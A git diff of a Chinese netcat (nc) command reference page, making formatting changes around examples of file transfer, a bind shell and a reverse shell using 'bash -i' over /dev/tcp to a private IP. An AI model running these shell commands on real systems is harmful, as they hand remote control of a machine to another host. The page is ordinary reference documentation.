diff --git a/command/nc.md b/command/nc.md index 016e9a53f4..64a8ee517f 100644 --- a/command/nc.md +++ b/command/nc.md @@ -76,19 +76,18 @@ nc -lp 8888 > node.tar.gz # 传输方发文件: nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz - -注意:192.168.75.121是接收方的ip地址。 +# ⚠️ 注意:192.168.75.121是接收方的ip地址。 ``` ```shell # 如果希望文件传输结束后自动退出,可以使用下面的命令: nc -lp 8888 > node.tar.gz nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz - -注意:-i 表示闲置超时时间 +# ⚠️ 注意:-i 表示闲置超时时间 ``` **远程控制** + ```shell # 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。 # 被控制端执行下面的命令: @@ -106,10 +105,13 @@ nc 192.168.75.121 8888 -c bash ``` **反弹shell** + ```shell # 控制端执行下面的命令: nc -lvnp 8888 +``` +``` # 被控端执行下面的命令: bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 ```